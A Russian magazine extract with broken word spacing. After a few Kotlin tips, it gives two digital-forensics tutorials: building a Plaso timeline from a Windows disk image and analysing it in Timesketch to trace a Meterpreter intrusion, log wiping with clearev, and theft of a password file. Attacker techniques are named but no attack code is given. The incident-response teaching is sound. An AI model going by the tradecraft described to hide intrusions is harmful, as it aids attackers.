аньоны (companion object) для размещения стат ических функ ций и фабр ик. • Изб егай использ ования null в качест ве возв ращ аемого значения. • Если необх одимо сообщ ить об ошибк е — использ уй исключения. • Если необх одимо вернуть пустое знач ение — возвращай пуст ой объект, например пустую строк у или пустой список. • Возв ращай только немодифицир уемые колл екции. • Расс мотри возможность использ овать sealed-класс в качестве возвра‐ щаемог о типа. • Вмест о Pair и Triple для возврата неск ольких знач ений лучш е исполь‐ зовать data-класс. • При обраб отк е очень больших коллекций в функ циональн ом стил е пре‐ образуй их в sequence. • Избегай использования it в качест ве параметра лямб ды. • Вмест о utility-классов (StringUtils.java) использ уй функ ции, объ‐ явленные вне класс ов. • Исп ольз уй блок use для автоматическ ого закр ытия closable-объектов (таких как InputStream). • Используй функции‑расширения, чтоб ы добавить функ цио нальность в «чужие» или сист емные класс ы. • При работе с Java-кодом всегд а предп олагай, что возв ращ ает nullable- тип, и сраз у проверяй его на null. БИБЛИОТЕКИ • Essenty — набор функций‑расширений для кроссплатф орменной раз‐ работк и на Kotlin; • Compose-animations — библиотек а анимации для Jetpack Compose; • Quantitizer — элем ент интерфейса для выбора количест ва чего‑либо; • SegmentedArcView — очер едн ой круговой прогресс бар; • Doodle — UI-фреймворк для веб; • Reflekt — библ иотека рефлексии времени компиляции; • Logcat — простая библ иотека логиров ания; • Workflow-kotlin — библиотека unidirectional dataflow; • Store — библиотек а для загрузки данн ых из сети и кеширования в памяти и на диск е.
COVERSTORY ТАЙМЛАЙН ВСЕГО ИСПОЛЬЗУЕМ PLASO ДЛЯ СБОРА СИСТЕМНЫХ СОБЫТИЙ sUzU [email protected] Давненьк о у нас не было новостей с фронт ов форензики! А ведь инст рументы анализа устареваю т, тогд а как хакеры прид умыв ают всё новые и новые методы заметать следы, оставляя добл ест ных бойцов с шевронами DFIR на рукавах задумч иво чесать репу. Давай пока отлож им устар евший, но от того не менее острый Scalpel и оглянемс я по сто‐ ронам. СОЗДАНИЕ СОБЫТИЙ Начнем с подг отовк и набора данн ых, который мы будем использ овать в исслед ованиях. INFO Все описанные экспер именты я провожу на VMware Workstation 14 Pro. Соотв етственно, зависим ые от гиперв изора команды в статье при‐ веден ы для нее. Для подготовки тестовых событий нам понадобитс я две вирт уальные машины: на одной будет работать Windows 10, на втор ой — Kali Linux 2021.2. Если будешь собирать тест овую среду самостоятельно, рекомендую не делать большой диск для винд ы, хват ит и 40 Гбайт — потом все процессы будут протекать быст рее. Плюс для больш ей наглядности при анализе рекомендую устан овить на подопытную машину Sysmon. Про эту утил иту в рубрике «Админ» была статья «Sysmon для безопасника». Когда мы пойд ем по след ам злоу мышленник а, ты пойм ешь, в чем ценность этой утилиты. Опис ывать заражение и постэксп луа тац ию сист емы не буду, чтоб ы в даль‐ нейшем нам было интер есн ее добывать из образ а улик и. Все равно, если ты вним ательн о читаешь статьи из рубр ики «Взлом», ничего нового я тебе не расс кажу. Посл е того как мы от души пошалил и в подопытной сист еме, пришла пора снимать маску киберпрест упника и доставать чемоданч ик криминал иста. INFO Делать именн о так, как опис ано ниже, необя‐ зательн о. В статье я прив ожу общий подход для всех подобн ых ситуа ций, в том числе на реальн ом железе. Инструм ент Plaso, которым мы будем польз оваться, успешно скуш ает и образ от виртуалк и, если он у тебя хранится одним файл ом .vmdk. После сбор а улик с вирт уалки я еще раз закину на атак уемую систему шелл, зачищу логи с помощью команды clearev из Meterpreter и сделаю повторный сбор улик. В конце статьи посмотрим, наск олько эффективно Meterpreter уме‐ ет заметать следы и можно ли на него в этом полагатьс я. Выкл ючим обе вирт уалк и, подк инем в Kali вторым жест ким диском вир‐ туальн ый диск от Windows и настрои м для Kali Shared Folder на жест ком диске твоего хост ового комп а, где будет достаточн о своб одн ого места, чтоб ы сде‐ лать побайт овую копию диска винды. Если ты выделил на нее 40 Гбайт, то на диск е должно быть минимум стольк о же свободного мест а. Загр узимся в Kali, созд адим точку монт ирования и подмонтируем Shared Folder: $ sudo mkdir /mnt/hgfs $ sudo /usr/bin/vmhgfs-fuse .host:/ /mnt/hgfs -o subtype=vmhgfs-fuse, allow_other Находим интер есую щий нас жест кий диск: $ sudo fdisk -l В нашем случ ае это sda. Запускаем созд ание побайтовой копии: $ sudo dd if=/dev/sda of=/mnt/hgfs/dd/disk1.dd bs=8M Дожидае мся окончания копиров ания и выкл ючаем вирт уалк у. Теперь, сог‐ ласно всем прот околам, остал ось посч итать контрольную сумм у от получен‐ ного образа, и можно вносить флюг ергехайм ер. →Продолжение статьи
COVERSTORY ← НАЧАЛО СТАТЬИ ТАЙМЛАЙН ВСЕГО ИСПОЛЬЗУЕМ PLASO ДЛЯ СБОРА СИСТЕМНЫХ СОБЫТИЙ PLASO Plaso (рекурсивный акрон им от исландс ког о Plaso Langar Að Safna Öllu, или для тех, кто не очень понимае т исландский, «Plaso хочет собрать все») — инст румент, разр аботанн ый на Python, основная задача которого — пост ро‐ ить суперт аймлайн‑всег о‑возможног о‑что‑прои сход ило‑в-системе и вып‐ люнуть все это в один гигабайтный CSV. Релиз 1.0.0 состоялся 5 декабря 2012 года, хотя если смотр еть глубже, на утил иту log2timeline, написанн ую на Perl, то перв ое упоминание на Forensics Wiki датируе тся аж 28 августа 2009-го. В те времена некоторые нынешние компьютерн ые хулиганы еще только начали посещать частные дет‐ ские дошк ольн ые учрежден ия, в которых им, к сожален ию, ничего про уголов‐ ный кодекс не расс каз ывали. Установка Для устан овк и Plaso (на момент написания статьи актуальн ый релиз 20210606) особых скиллов не требуетс я, на Linux так и вообще все, что тебе нужно, — терм инал и доступ в интернет. На случ ай, если тебе захочется покопатьс я в исходниках, клонируй репозиторий, если не захочетс я — использ уй pip. $ sudo apt-install python3-pip $ pip install plaso elasticsearch Дал ее устанавл ивае м все треб уемые зависимости: $ pip install -r requirements.txt В файле requirements.txt отсутст вуют опциональные зависим ости chardet, fakeredis и mock, поэтому еще одна команда, и все успешно заведетс я: $ pip install chardet fakeredis mock На винд е дела обстоят посложнее тольк о лишь из‑за того, что тебе придется доустановить в сист ему Build Tools for Visual Studio. Но проблема решается элем ент арно, если у тебя есть в загашн ике устан овочный пакет Visual Studio 2017 (именно с ним у меня все получилось). Запусти устан овку и выбери в разделе Individual components компонент VC++ 2015.3 v14.00 (v140) toolset for desktop. После этого все зависимости установятс я через pip. Набор инструментов В сост ав Plaso входит нескольк о утил ит, они находятс я в каталог е tools. image_export — утилита для извлечения из устройства или его образ а файлов по разл ичным критериям: начиная c расш ирения и путей, заканчивая сигнатурам и и временем создания или модифик ации. Кроме того, данн ый инст рум ент после извлеч ения файл ов сгенерирует файл hashes.json, в который попадут хеш‑значения всех извлеч енн ых файлов для дальн ейшей проверки, например на VirusTotal. Примеры запуска: py image_export.py disk1.dd Параметры --names, --extensions и --date-filter не долж ны вызвать у тебя никаких вопр осов, расс мотрим подробнее тольк о извлечение по сиг‐ натурам. py image_export.py --signatures list Эта команда выведет все описанн ые в data\\signatures.conf сигн атуры, которые можно поиск ать сред и исследуемых файлов для извлечения. Понят‐ ное дело, в конфиге записан ы только базовые сигн атуры на все случ аи жизн и, но никт о не мешает самост оятельно добавить в конфиг строк у с необх одимой тебе спец ифическ ой сигнатурой файл а, главное при этом — выбрать уни‐ кальн ый идентификатор. Например, извлечь все файлы Windows PE можно с использованием готовой сигн атуры exe_mz: py image_export.py --signatures exe_mz disk1.dd log2timeline — основной инструм ент, с которого, собственно, двенадц ать лет назад все и началось. Он использ уетс я для извлечения разн ых событий из файл ов, каталогов (например, точек монтирования), устройс тва или его образа. В результате работы утилита форм ируе т файл в формате Plaso, в дальнейшем он и будет использоватьс я для анал иза. Вот как выгл ядит станд артный запуск: py log2timeline.py --storage-file output_file disk1.dd Все виды файл ов, из которых может быть извлечена полезная для формиру‐ емог о тайм лайн а информац ия, находятся в каталоге test_data, а непос‐ редст венно сами парс еры разм ещены в каталог е plaso/parsers. Так что, если понадобитс я доработать либо разработать новый парсер для какого‑то особ енн ого формата файла, ты знаешь, где начинать копать! ;) Отдельн о стоит отметить использ ование опции --process-archives. Она может сильн о увел ичить время работы утил иты, однако, как ты понимаешь, в каком‑нибудь архив е может быть случайн о обнаружена важн ая улика, забытая злоумышленник ом. Зам ечательн ое свойс тво log2timeline — интеграция с прав илами YARA. Чтобы добавить в результ аты тайм лайн а сведения о сраб атыв аниях прав ил YARA, необх одимо запуст ить инструмент с ключ ом --yara_rules. py log2timeline.py --storage-file output_file --process-archives --yara_rules rules.yar disk1.dd где rules.yar — предв арительно подготовл енный тобой файл с правилам и YARA. Есл и предварительн о добыть опенсорс ные правила (к примеру, от Clam AV) и сконв ертир овать их в форм ат YARA, то в итог е из незамысловатой ути‐ литы log2timeline начинает превращатьс я в мощный инструмент. pinfo — утилита для вывода информации о содерж имом файла Plaso, нап‐ ример верс иях, парс ерах, типах событий, попавших в отчет, их количест ве и ошибках. При анал изе бывает полезн а опция -v, которая дополнительн о выведет подробную информацию об имени компьютера, точн ую версию ОС и информац ию о польз ователях. psort — утил ита, которая позв олит выполнить дополн ительную обраб отку и сконв ертировать полученн ый ранее файл Plaso в формат, в котором будет вест ись его дальн ейший анал из. При его запуске не забывай использ овать опцию --output-time-zone для того, чтоб ы потом в ходе анализа к врем ен‐ ным метк ам (которые по умолчанию в UTC) не приб авлять нужный тебе часовой пояс. Зап уская утил иту с опцие й --analysis plugin и на основ ании обра‐ ботанных событий ты получишь высокоу ровн евую информацию от плаг ина, напр имер о наличии сред и всех исслед уемых файл ов вредоносов, ког‐ да‑либо загр уженн ых на VirusTotal. Причем запуск ать этот плаг ин можно без боязни слить в облак о какую‑то чувст вительн ую для заказчика информа‐ цию, поскольку пров ерка идет исключ ительно по хеш‑знач ениям, посчитан‐ ным на этап е сбор а данн ых. Понятн о, что для работы с этим плагином пот‐ ребуется API-ключ от сервиса. Также есть поддержка работы с фреймворк ом Viper, в котором у тебя могут быть собственн ые накопления малвари. Опц ии --slice и --filter позв оляю т выбр ать определенные события в диапаз оне неск ольких минут от момент а интересую щего тебя события, однако их подр обно расс матр ивать в этой статье не будем. Конвертир овать события можн о в разн ые форматы, в том числе в CSV, XLSX и JSON, для выбора форм ата использ уй опцию -o. psteal — утил ита, объединяющая в себе функции log2timeline и psort. Лич‐ но я пользовалс я ей всего один раз, и то чист о из любопытст ва. Спис ок опций небольш ой. Однак о как экспресс‑средство в каких‑то определенн ых ситу‐ ациях вполн е может подойт и. Использование Теп ерь, когда прим ерно понятн о, для чего козе все эти музыкальн ые инст ру‐ менты, давай попробуем их в деле. Для начала запуст им сбор логов: py log2timeline.py --storage-file \"d:\\Work\\!Статья\\test_case_1.plaso\" \"d:\\Work\\!Статья\\dd\\disk1.dd\" Есл и Plaso обнар ужит теневые копии томов, то он радост но отрап орт ует о том, что готов выгрести все доступные события в том числ е и из них. Сог‐ лашаемся со всеми его предл ожениями и идем пить кофе и читать «Хакер». Отвед енное на это время зависит от ресурс ов твоего компа и объема дан‐ ных, которые пост упили на вход. Когда комп рометация системы была давн о и злодей долг о в ней копошил‐ ся, а в конц е почистил за собой логи, из теневых копий иногда все равно можно вытащить мног о информац ии, даже без использ ования Sysmon. INFO По статистике, которая пару лет назад попалась мне на глаза, средн ий период нахождения зло‐ умышл енник а в скомп ром етированной сист еме составляе т почти девять месяцев! Именн о поэтом у злод еи очень любят при отходе запускать еще и крип‐ толокер. Однако это в больш инстве случаев далеко не так эффективн о, как кажется на первый взгляд. По окончании работы утил иты (в моем случае сбор логов занял прим ерн о час) можн о переход ить к анализу. Давай запустим pinfo и посмотрим, что он скажет нам об исслед уемом образе. py pinfo.py -v d:\\Work\\!Статья\\test_case_1.plaso Кроме параметров, с которым и выполн ялся сбор данных из образа, мы видим спис ок всех парсеров и плаг инов, которые были прим енен ы. Если вдруг какого‑то типа событий в образ е обнаружить не удал ось, хотя ты уверен, что они там точн о долж ны присутствовать, прид ется перезапуст ить log2timeline и принудительн о указ ать интересующий тебя парс ер (такое, напр имер, быва‐ ет, если нужно собирать логи из сист емы в форм ате evt). Также pinfo определил верс ию устан овл енной ОС и ее хостнейм и вывел информац ию о пользователях и путях к их домашним каталог ам. Эта информац ия может быть полезна в случаях, если какой‑то домашний каталог хранитс я на удаленном серв ере. Тогда придется дополнительн о скармливать Plaso отдельно скоп ированн ую с серв ера папк у с польз овательс ким катало‐ гом. Итог о за почт и что час работы Plaso вытащил из образ а 1 116 040 событий. Гляд я на вывод pinfo, уже сейчас можн о примерн о предп оложить, сколько событий из какой категории нам предстоит проа нал изир овать и какие модули для автом атического анализа дадут наибол ее интер есн ый результ ат. Для сравнения давай посм отрим на диагр амму событий, извлеченных из образа, в котором я затирал логи с помощью clearev. Как видишь, Plaso смог извлечь всего на три тысячи меньше событий типа winevtx, и если пос‐ мотреть разницу в диагр аммах, то станет понятн о, что карт ина изменилась несильн о, свид етельств компрометац ии сист емы, вероятно, стал о даже боль‐ ше. Давай запустим psort и попробуем поработать с результатами его анал иза безо всяк их расширений. py psort.py --output-time-zone Europe/Moscow --output-format l2tcsv -w d:\\Work\\!Статья\\test_case_1.csv d:\\Work\\\\!Статья\\test_case_1.plaso Один взгляд на CSV объе мом более 300 Мбайт вызывае т у неискушенного зрителя смерт ельн ую тоску. Давай пока немн ого попр окраст инируем и пос‐ мотрим, что еще можно сдел ать, прежде чем вставлять себе спички в глаза. Дав ай предположим, что польз ователь компью тер а внез апно вспомн ил, как 25-го числа текущег о месяца ему поступило очень заманч ивое пред‐ ложение получить от Илон а Маск а биткойн, ссылк а на который пришла по почт е. Посм отрим, чем нам может помочь эта информация и скрипт image_export: $ py image_export.py --date-filter \"atime,2021-08-25 09:00:00, 2021-08-25 18:30:00\" --signatures exe_mz -w d:\\Work\\!Статья\\e xtracted d:\\Work\\!Статья\\dd\\disk1.dd Внез апн о в каталог е Downloads пользовател я обнаруживаетс я исполняемый файл с крайн е подозр ительн ым названием free_bitcoins_from_Musk.exe. Давай начнем поиски в нашем таймлайн е именно с этог о события. Восполь‐ зуемся grep. $ grep free_bitc test_case_1.csv > free_bitc.csv Так уже намного лучш е. Я позволил из полученного вывода в 55 событий отобр ать шесть наиболее любопытных. В списк е событий перед нами видно, что пользователь в 16:07:44 с помощью браузера Edge действительно скачал подозр ительн ый бинарь и спуст я пару мгнов ений запуст ил его. След ующим событие м мы наблюдае м установл ение сетевого соединения от запущенн ого проц есса на удал енный адрес 192.168.79.131:7788. И букв альн о через 30 секунд видим взаи мод ей‐ ствие прил ожен ия с проц есс ом vmtoolsd.exe. Так ая посл едоват ельн ость событий очень характерна и свидетельствуе т о том, что запущенный в конт екс те проц есс а Meterpreter успешно переко‐ чевал в конт екст проц есс а дополнений гост евой ОС. Последняя запись на скрин е свидетельствует о том, что в 17:08:59 при очер едн ой попытк е вхо‐ да в сист ему шелл был заново запущен. То есть, пока польз ователь не заподозр ил что‑то неладн ое, наш злодей успел закрепиться в системе одним из извест ных ему способов. Для интереса ищем интер есующие нас шесть событий в тайм лайн е с «затертыми след ами» и внез апн о обнаруживаем, что все шесть из шест и событий оказались на месте. It’s a trap! Как минимум мы получил и внятные временн ые отрезки, в которые шло проникновение в систему, и можем теперь отобрать события за этот период. Давай заново запустим psort, тольк о теперь добавим фильт ром интересу‐ ющие нас отрезки времени. Не забывай, что в данн ом случае мы фильт руем с указание м времени в UTC. py psort.py --output-time-zone Europe/Moscow --output-format dynamic -w d:\\Work\\!Статья\\test_case_1_attack_time.csv -q d:\\Work\\\\!Статья\\t est_case_1.plaso \"date < '2021-08-25 14:20:00' and date > '2021-08-25 13:07:00'\" Ждем пару минут и смотр им на результ ат. Неплохо, мы сумели уменьш ить физическ ий объем в 16 раз, а смысл овой в 20 раз (57 тысяч событий прот ив 1,1 милл иона). Дав ай немн ого поск роллим этот файл. Начиная примерн о с записи под номером 1500 и до 30 000 мы набл юдае м одни и те же события. Такая картина свидетельс твуе т о том, что наш против‐ ник с использ ование м автоматич еского инструм ент а обходил содерж имое диска в поисках чего‑то его интересующего (подсказк а: файлов с подст рокой passw). Понимая природу этих событий, их можн о скрыть из анал иза, тем самым снизив нагрузку на себя любимог о еще раза в два. Дальнейший анализ свод итс я к фильт рации событий по категориям и вни‐ мательн ому анализу их в цепочках. В качестве домашнего задания можешь поиграться с плаг ином tagging для psort. ЗАКЛЮЧЕНИЕ Сегодн я нам с тобой удал ось посм отреть на прим ер очень эффективной ути‐ литы, дружба с которой открывает крим инал ист у широкие возможност и: поз‐ воляе т взять след киберп рест упника и описать его прикл ючения в иссле‐ дуемой сист еме. Даже если наш товарищ (который, в общем‑то, нам не товарищ) окажетс я осторожным и попытается замести за собой след ы, далеко не всегд а это поможет ему. В след ующий раз мы поговор им о более высокоуровневых инст рум ент ах анализа тайм лайн ов, которые генерир ует Plaso.
COVERSTORY ЦИФРОВОЙ ДЕТЕКТИВ ИСПОЛЬЗУЕМ TIMESKETCH ДЛЯ РАБОТЫ С ТАЙМЛАЙНАМИ PLASO sUzU [email protected] При расс ледовании инцид ентов важно установить точное врем я и спос об комп рометации системы, чтоб ы затем рас‐ крут ить весь ряд дейс твий злоу мышл енник а. Сегодн я мы проделае м именно это, используя инст рум ент Timesketch. В качестве исходных данных нам посл ужит файл Plaso, который мы получили в прошлой статье «Таймлайн всег о. Используем Plaso для сбора системных событий», где мы извлекали из образ а атак ованного компью тера все события и объекты, имеющие хоть какую‑то временн ую метку, и очертили примерн ую схему поиск а интересующих нас событий. Прод укт ивнее и веселее решать задачи колл ективн о — для форенз ики это тоже вполн е справедливо. Поэтому homo forensicus вооружены инст ру‐ ментами колл ективн ой работы, и один из них — это Timesketch. Это опенсорс ный проект, предназначенный для совмест ного анализа тай‐ млайнов событий. Внутр и у него размещае тся мощный восьм ицилиндров ый elasticsearch (по ходу статьи буду использ овать сокращение ES), что (при пра‐ вильной конфигурации) ведет к автоматическому наследованию проектом всех его основных фишек: масш табируе мость, отказоустойчивость и высокую скорость при поиске среди сотен миллионов событий вкупе с повышенным расх одом ресурсов твое го комп а. УСТАНОВКА Уст ановить ты можешь как релизный вариант, так и dev-версию. Во втор ом случае появится возможность внос ить свои правки в код, а такж е накатыв ать самые свеж ие коммиты. Но если нарв ешься на свежие баги — пеняй на себя и не забывай репорт ить их. Мы поставим релизн ую версию на виртуалку с Ubuntu 20.04 и прикр утим сверху Kibana. INFO Когд а имеешь дело с проектами, пост роенным и на ES, никогд а не лишним будет добавить Kibana. Так можно всегд а без проблем разобр аться с прои сход ящим и внутр и базы проц ессами и отлов ить нештатные ситуа ции. Перепеч атыв ать команды из официальной инст рукц ии нет смысла, поэтом у будем счит ать, что установка заверш илась успешно. Пров ерить это можно вот такой командой: $ sudo docker ps -a Есл и все сдел ано прав ильно, вывод должен быть прим ерн о след ующим. Теп ерь выведем из докер‑конт ейн ера порт с ES наружу — для того, чтоб ы до него могла дост учаться Kibana. $ sudo nano /opt/timesketch/docker-compose.yml В раздел elasticsearch добавим разд ел ports с указ анием пробр асыва‐ емого порт а. WARNING Эта конфигурац ия подх одит только для своей собст венной тестовой версии ES, к которой нет доступа ни у кого пост оронн его. ES не имеет встрое нных механизмов авторизац ии, и любой желаю щий при таком раск лад е запр осто может получить дост уп ко всей базе. Если тебе понадо‐ бится аналогичное решение в продакшене, используй надстройк у X-Pack. Ост алось прикр утить сюда Kibana. В нашем случае из скрина выше видим, что в проекте использ уетс я elasticsearch-oss:7.10.2, соответст венно, и Kibana долж на быть той же версии. Скачиваем и ставим kibana-oss: $ wget https://artifacts.elastic.co/downloads/kibana/kibana-oss-7.10. 2-linux-x86_64.tar.gz $ tar -xzf kibana-oss-7.10.2-linux-x86_64.tar.gz $ cd kibana-7.10.2-linux-x86_64 Подправ им конф иг, чтоб ы до интерфейса «Кибаны» можно было достучатьс я: $ nano config/kibana.yml Для этого раскомментируе м параметр server.host и укажем IP-адрес вир‐ туалки. Стартуем Kibana и смотр им, что все успешно завелось. $ /bin/kibana Осталось созд ать пользовател ей — и можно логинитьс я в сист ему. $ sudo docker-compose exec timesketch-web tsctl add_user --username user1 →Продолжение статьи
COVERSTORY ← НАЧАЛО СТАТЬИ ЦИФРОВОЙ ДЕТЕКТИВ ИСПОЛЬЗУЕМ TIMESKETCH ДЛЯ РАБОТЫ С ТАЙМЛАЙНАМИ PLASO ИСПОЛЬЗОВАНИЕ Созд адим новый скетч (кнопк а New investigation) и залье м в него данные, которые мы сгенерировали в прошлый раз (кнопк а Upload timeline). Я созд ал два скетча и залил данные в каждый. После непр одолжительн ого ожидания загл янем в Kibana, и в разделе dev tools выполн им команду: GET /_cat/indicies?v Как видим, для каждого скетч а в ES создается отдельн ый индекс, в который попадают события из каждого загр уженн ого файл а Plaso, т. е. один и тот же файл Plaso при загрузке его в разн ые скетч и будет обраб атыватьс я повт орно. Посм отрим, как данные маппятся, чтоб ы понимать, как потом эффективно с ними работать GET /9024dbca65494d1da2dc4758b169f1d9/_mapping Все текстов ые данные маппятся по следующей схеме: { \"type\": \"text\", \"fields\" : { \"keyword\": { \"type\" : \"keyword\", \"ignore_above\" : 256 } } } Есл и ты немн ого знаком с ES, то в курсе, что перед тобой динамический мап‐ пинг. Такая схема используетс я, потому что разработчикам было лень заморачиватьс я Timesketch может груз ить абсол ютно любые посл едоват ель‐ ности событий из разл ичных источник ов, и пред усм отреть универсальную схем у мапп инга с четким названием всех полей не так‑то и просто. Зато такая схем а позволяе т осущ ествлять как полнотекс тов ый поиск, так и агрегировать и сортировать данные по кажд ому полю в индексе, что несомненно дает много преи мущ еств, если ты умеешь этим польз оватьс я (и плевать на исчезновение свободных гигабайт ов на твое м жест ком диске). Дав ай переход ить к осмотру пацие нта. Посмотрим, какие инструм ент ы у нас для этого есть. Explore Эта вкладка — основной инст рум ент для поиска событий в таймлайн е, в том числе с применен ием фильтров и графиков. У тебя такж е есть возм ожность добавл ять комментарии к интер есующим событиям, создавать пометк и и сох‐ ранять view для их дальнейшего использования в Stories. INFO Поск ольк у каждый скетч — отдельный индекс в ES, можн о не бояться повредить в ходе работы чужие комм ентар ии или пометк и в друг ом скетч е. Это крайне важно в мног опользовательс ких forensic-системах. Именно поэтому в данном про‐ екте прим еняется не самая логичная с виду сис‐ тема хран ения данных (с повт орной загрузкой и дублирован ием хран имых данн ых). Дав ай не будем пока что копатьс я в отдельн ых события х, а попробуе м визу‐ альн о оценить наш скетч. Для этого передвинем полз унок chart в положен ие «вкл» под строкой с запр осом и посмотрим на построе нную диаграмму событий. Сам ый высокий столб ик означ ает, что в системе в этот момент произошло крайн е мног о событий, что зачастую свидетельствуе т о чем‑то любопытн ом с точки зрения форенз ики. Давай нажм ем на него — в результате автомати‐ чески применится временн ой фильтр и можно будет детальн ее посмотреть на прои сход ящие в этот момент процессы. Люб опытно! Мы букв ально в два клик а сумели обнаружить события из прош‐ лой статьи. Напомню: они свидетельствую т о том, что наш прот ивн ик с использование м автом атич еского инст румент а обходил содержимое диска в поиск ах интер есных вещей. Давай сохр аним этот запр ос, нажав кнопк у Save this search, и попр обуе м понять, нашел ли злоумышленник то, что искал. Думаю, ты в курс е, что польз овател и любят хран ить (или забываю т уда‐ лить) всяк ую важн ую информацию на рабочем столе, в папке загр узок и про‐ чих подобн ых мест ах. В большинстве случ аев злоумышл енник и, ввид у нех‐ ватки врем ени, осуществляют сбор личн ой информации о польз овател е в том же порядке. То есть от простых и самых расп ростран енных ситуаций идут к сложн ым и редким. Дав ай теперь добавим к существующем у временному фильтру минут 5 сверху (негодяю нужн о врем я, чтобы понять, какой файл утащ ить с компа), а в поиск овой строке напишем запрос: *Documents* OR *Desktop* OR *Downloads* На выходе имее м 1266 событий. Давай глян ем, какая подр обная информация о выбранных событиях нам доступна. Одн о из ключевых полей кажд ого события — parser, оно позволяе т понять, откуд а Plaso получил его. Удобно бывает отфильт ров ать в выводе тип событий, нажав на кнопку в перв ом или втор ом столбце (по смыслу это при‐ менен ие логическ их И или НЕ в запросе). Давай это использ уем. Поск ольк у мы прим ерн о представл яем алгор итм поиск а интересующих файл ов на файл овой системе (конк ретно это: проход по всем каталог ам и подкаталогам, получен ие списка файл ов из них, получе‐ ние доступа к интересующим файл ам), мы можем попытатьс я понять, были ли какие‑то файлы похищены. Выберем из событий любое с параметром parser:filestat и file_entry_type:directory и добавим их в фильт р с параметр ами AND и NOT. Это будет эквивалент но такому запр осу: (*Documents* OR *Desktop* OR *Downloads*) AND parser:filestat AND NOT file_entry_type:directory Вуа ля! Перед нами 17 событий, среди которых дост уп к файл у с паролям и польз ователя my_passwords.rtf. Можн о отправл ять пользователя менять все пароли от всех серв исов. INFO Собр анные нами события не имею т никакого отношения к журн алам, которые были стар атель‐ но зачищен ы командой clearev из Meterpreter. В прошл ый раз наводк у на инцид ент нам дал сам пользователь. А теперь мы без подс казк и «звонок друг у» попытаемся понять, какое непотребст во при‐ вело к тому, что злоу мышленнику открылись двери к паролям польз ователя. Для этог о в Plaso есть потрясаю ще полезн ый парсер prefetch и соответству‐ ющий тип данных: data_type:windows:prefetch:execution INFO Prefetcher — один из комп онентов Windows, пред‐ назначенный для оптимизации запуска исполня‐ емых файлов в сист еме. Для свое й работы он создает специальные структ уры данн ых, которые хран ит на диске в каталог е Windows\\ Prefetch. Наравне с анализом логов, файл ы prefectch — кладезь информац ии для кри‐ миналиста. Дав ай используем этот тип данн ых в качест ве фильт ра, а такж е для первого осмотра исключим из вывода все исполняемые файлы, которые были запуще‐ ны из каталог ов Windows или Program Files. Запрос в данн ом случ ае будет выглядеть так: data_type:windows:prefetch:execution AND NOT path_hints: \"WINDOWS\" OR NOT path_hints: \"Program\" Одним прост ым запр осом мы в первых же 25 события х увид ели, что из папк и Downloads запускался файл с заманчивым назв анием. Внимание, конкурс! Хочешь выиграть футболку с логотипом любимого журнала? Кажетс я, наш прот ивник читает рубр ику «Взлом». Попр обуй понять, какие приемы он использовал для закр епления в системе, опиш и их и скинь перв ым в ком‐ ментарии вместе со ссылк ой на статью, которой вдохновлялся злоу мыш‐ ленник. Для этого возьми мой файл CSV, загр узи его в Timesketch и попробуй свои силы! • Подс казк а 1. Использовалось 2 приема! • Подсказка 2. Я угад аю их с 11 нот симв олов в запр осе. Aggregate Посмотрим теперь, как так получил ось, что несмотря на попытки зачистить информац ию о свои х действия х, факты все равн о вышл и наружу. Для этог о перейдем во вкладк у Aggregate. Эта вкладка позв оляет группировать интересующие тебя события, выводить стат истику по примененным фильтрам, строи ть табл ицы и граф ики, а такж е находить аномалии в группах событий. Давай попробуем оценить, какие события происход или в момент, когда был запущен поиск интер есующег о файла на файловой системе. Для этого выберем поле parser в качест ве группирую щего и зададим определенные ранее врем енные рамк и. «Нажми на кнопк у, получишь результат!» Дейс твит ельно, как мы и предполагали, основная масса относится к событи‐ ям, добытым из парсера filestat, то есть это события файловой системы, которые clearev зачищать не умеет. Парсер winreg/amcache остался в дан‐ ном случае не у дел по прич ине того, что образы были сняты в разн ое время. Соответственно, события, которые попадают в amcache.hve, просто перетерл ись более свежими. Так что пробл ема в данн ом случ ае скор ее в чистоте эксперимента, чем в каких‑то чудо‑возможност ях Meterpreter. Примечательн о, что по граф икам, которые строятся в текущей вкладк е, можн о клик ать. Когда ты нажимаешь на интер есующий тебя элем ент, откры‐ ваетс я вкладка Overview, где будут сразу прим енен ы необх одимые фильтры. Такж е граф ики, которые ты построи л и которые заслуживают дальн ейшего внимания, можно сохр анить для использования в Stories, нажав соответству‐ ющую кнопку. Analyze Отдельн о стои т обрат ить вним ание на вкладку Analyze. Чего грех а таить, на самом деле большинство кейс ов начинае тся именн о с нее. Timesketch поставляе тся с больш им набором встроенных анал изат оров, использ ование которых позволяе т автоматически отмет ить тегами разн ые групп ы событий, которые брав ыми бойцами DFIR уже давно запр отоколированы как явно сви‐ детельс твующие о чем‑то необычном, возм ожно треб ующем вним ания. Все анал изаторы находятс я в каталог е /timesketch/lib/analyzers и написаны на Python. Сраз у посл е установк и тебе доступны анал изат оры для: • раб оты с поиск овыми запр осами, сдел анными в брау зер е (прич ем будет сразу видн о, где, что и когд а искал польз ователь); • выявлен ия активности, не попадающей в обычные часы работы поль‐ зователя за компом (которые тоже опред еляе тся стат истически); • связывания последоват ельн ост и событий (напр имер, могут быть связ аны скачанн ые и запущенные исполняемые файлы, скопиров анные и заар‐ хивированные для эксфильт рац ии файлы и тому подобное); • пои ска следов попыток зачистить логи; • анал иза подк люч ений по RDP; • выявлен ия попыток брутф орса паролей. INFO Результаты работы анализаторов ты можешь най‐ ти на вкладке Overview. Для этого необх одимо нажать три вертикальные точки на интер есую щем тебя таймлайн е и выбр ать из выпадаю щего спис‐ ка Analyzer. Есл и понадобится, ты и сам можешь созд ать новый анал изатор. Для провер‐ ки его работосп особности в каталог е test_tools есть скрипт analyzer_run.py, которому для работы необходимо подать на вход файл CSV с события ми и твой hello_world_analyzer.py. Давай посмотрим, чем поможет в нашем кейс е встрое нный анализат ор Chain linked events. Для этого выберем наш тайм лайн, возьмем соответству‐ ющий анализатор и запуст им процесс. Для просм отра всех связанных событий в строк е поиск а необходимо набрать запр ос: chains:* Немного прокрутим ответ и натк немс я на скачанн ый и запущенный неради‐ вым польз ователем исполняемый файл. У кажд ой цепочк и событий есть собст венный идент ификат ор, который хра‐ нитс я в ES в поле chains — соответственн о, можно искать необходимые цепочк и по этим идентификат орам. Stories Вкладка Stories позволяе т тебе и твои м коллегам описывать набл юдае мые явления. Собранная совместным и усил иями информация будет взаимо‐ дополняющей, при необх одимости можн о вставл ять сохраненные запросы, построенные граф ики и делать все это с использ ование м разм етки Markdown. Некоторые анал изаторы автом атическ и форм ирую т истор ии по результ атам работы. По сути, Stories — это готовые фрагм енты будущег о отчета по результ атам анализа таймлайн а. ВЫВОДЫ Мы с тобой познакомил ись с весьма крут ым инструм ент ом, который позволя‐ ет превратить скучн ый 